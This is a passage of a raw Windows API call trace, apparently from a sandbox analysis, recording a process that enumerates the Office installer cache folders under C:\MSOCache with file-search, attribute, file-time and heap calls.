[0043.490] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0043.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0043.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0043.490] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0043.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.491] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0043.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0043.517] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0043.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedbe90 [0043.517] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedbe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedbe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0043.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedbe90) returned 1 [0043.517] NtClose (Handle=0x174) returned 0x0 [0043.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0043.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0043.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0043.517] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0043.801] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0043.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.811] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0043.814] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0043.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb808 [0043.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedbea8 [0043.819] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.819] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb828 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedbfb0 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb848 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc0b8 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb868 [0044.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc1c0 [0044.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.340] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0044.341] GetLastError () returned 0x12 [0044.341] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0044.341] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.341] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0044.341] GetLastError () returned 0x12 [0044.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0044.341] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0044.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0044.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0044.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.342] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.342] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0044.342] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0044.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedde90 [0044.342] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedde90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedde90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0044.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedde90) returned 1 [0044.342] NtClose (Handle=0x16c) returned 0x0 [0044.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0044.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0044.343] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0044.356] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.356] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.356] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0044.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb888 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc2c8 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.357] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0044.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb8a8 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc3d0 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1c0) returned 0xed5990 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5c70) returned 1 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0044.358] RtlAllocateHeap 